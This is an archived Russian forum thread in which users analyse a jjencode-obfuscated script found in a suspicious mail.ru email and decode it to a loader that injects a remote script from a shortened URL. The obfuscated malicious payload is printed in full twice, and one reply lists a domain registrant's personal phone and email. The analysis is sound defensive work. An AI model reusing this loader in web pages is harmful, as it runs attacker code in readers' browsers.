LINUX.ORG.RU

Как расшифровать такой код javascript


0

1

Всем привет. Пришло вот письмо на маил.ру. в него заходиш и происходит перенаправление на какое-то несуществующее письмо. на всякий случай пароль поменял...

в коде письма нашел интересную строчку:

<<script>script>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"\\"+$.__$+$.$$$+$.___+"\\"+$.$$$+$.$_$+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$__+"\\"+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+"\\"+$.__$+$.___+$.$_$+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"('\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"')\\"+$.$$$+$._$$+"\\"+$.__$+$.$$$+$.___+".\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$$_+$._$_+$.$$__+"\\"+$.$$$+$.$_$+"'\\"+$.__$+$.$_$+$.___+$.__+$.__+"\\"+$.__$+$.$$_+$.___+"\\"+$.$$$+$._$_+"//"+$.__+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$$+$.__$+$._+"\\"+$.__$+$.$$_+$._$_+(![]+"")[$._$_]+"."+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$_$+"/"+$._$$+$.$__$+"\\"+$.__$+$.$_$+$.$$_+$.$$_$+"\\"+$.__$+$.$_$+$._$$+$.$_$_+$.$___+"/\\"+$.__$+$.$_$+$._$_+"\\"+$.__$+$.$$_+$._$$+".\\"+$.__$+$.$_$+$._$_+"\\"+$.__$+$.$$_+$._$$+"'\\"+$.$$$+$._$$+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$_$$+$._$+$.$$_$+"\\"+$.__$+$.$$$+$.__$+"."+$.$_$_+"\\"+$.__$+$.$$_+$.___+"\\"+$.__$+$.$$_+$.___+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.$$_$+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.$_$+$.___+"\\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+$.$$_$+"(\\"+$.__$+$.$$$+$.___+")\\"+$.$$$+$._$$+"\"")())();<<script>/script> 

Можно ли это раскодировать?


Вначале скрипт хитрыми способами получает необходимые символы (например, $=~[] присваивает переменной $ значение -1, буквы получаются выборкой из строк типа [object Object], true, false, и т.п.). Далее из этих символов собирается код

function anonymous() {
    x = document.createElement("script");
    x.src = "http://tinyurl.com/39ndka8/js.js";
    document.body.appendChild(x);
}

и выполняется.

static_lab ★★★★★
()
Ответ на: комментарий от static_lab

Дальнейший анализ приводит к следующему:

domain:     725C52C0F2.RU
nserver:    ns1.bush3.in.ua.
nserver:    ns2.bush3.in.ua.
state:      REGISTERED, DELEGATED, UNVERIFIED
person:     Private person
phone:      +7 916 7752829
e-mail:     georgiy.makovetskiy@gmail.com
registrar:  REGTIME-REG-RIPN
created:    2009.12.22
paid-till:  2010.12.22
source:     TCI
static_lab ★★★★★
()

Не забудь им в саппорт написать, а то мужики-то поди и не знают.

SOmni ★★
()

Вообще в FireBug такое декодировать достаточно просто:

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+"\\"+$.__$+$.$$$+$.___+"\\"+$.$$$+$.$_$+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$__+"\\"+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+"\\"+$.__$+$.___+$.$_$+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"('\\"+$.__$+$.$$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"')\\"+$.$$$+$._$$+"\\"+$.__$+$.$$$+$.___+".\\"+$.__$+$.$$_+$._$$+"\\"+$.__$+$.$$_+$._$_+$.$$__+"\\"+$.$$$+$.$_$+"'\\"+$.__$+$.$_$+$.___+$.__+$.__+"\\"+$.__$+$.$$_+$.___+"\\"+$.$$$+$._$_+"//"+$.__+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+"\\"+$.__$+$.$$$+$.__$+$._+"\\"+$.__$+$.$$_+$._$_+(![]+"")[$._$_]+"."+$.$$__+$._$+"\\"+$.__$+$.$_$+$.$_$+"/"+$._$$+$.$__$+"\\"+$.__$+$.$_$+$.$$_+$.$$_$+"\\"+$.__$+$.$_$+$._$$+$.$_$_+$.$___+"/\\"+$.__$+$.$_$+$._$_+"\\"+$.__$+$.$$_+$._$$+".\\"+$.__$+$.$_$+$._$_+"\\"+$.__$+$.$$_+$._$$+"'\\"+$.$$$+$._$$+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$_$$+$._$+$.$$_$+"\\"+$.__$+$.$$$+$.__$+"."+$.$_$_+"\\"+$.__$+$.$$_+$.___+"\\"+$.__$+$.$$_+$.___+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.$$_$+"\\"+$.__$+$.___+$._$$+"\\"+$.__$+$.$_$+$.___+"\\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+$.$$_$+"(\\"+$.__$+$.$$$+$.___+")\\"+$.$$$+$._$$+"\"")()).toSource();

Т.е. заменить последний (); на toSource().

В результате получится код, который привёл static_lab

sjinks ★★★
()
Ответ на: комментарий от badil

Конкретно эта технология называется jjencode. Из похожего есть еще aaencode.

Принцип работы проще всего понять по исходнику, он не зашифрован.

sjinks ★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.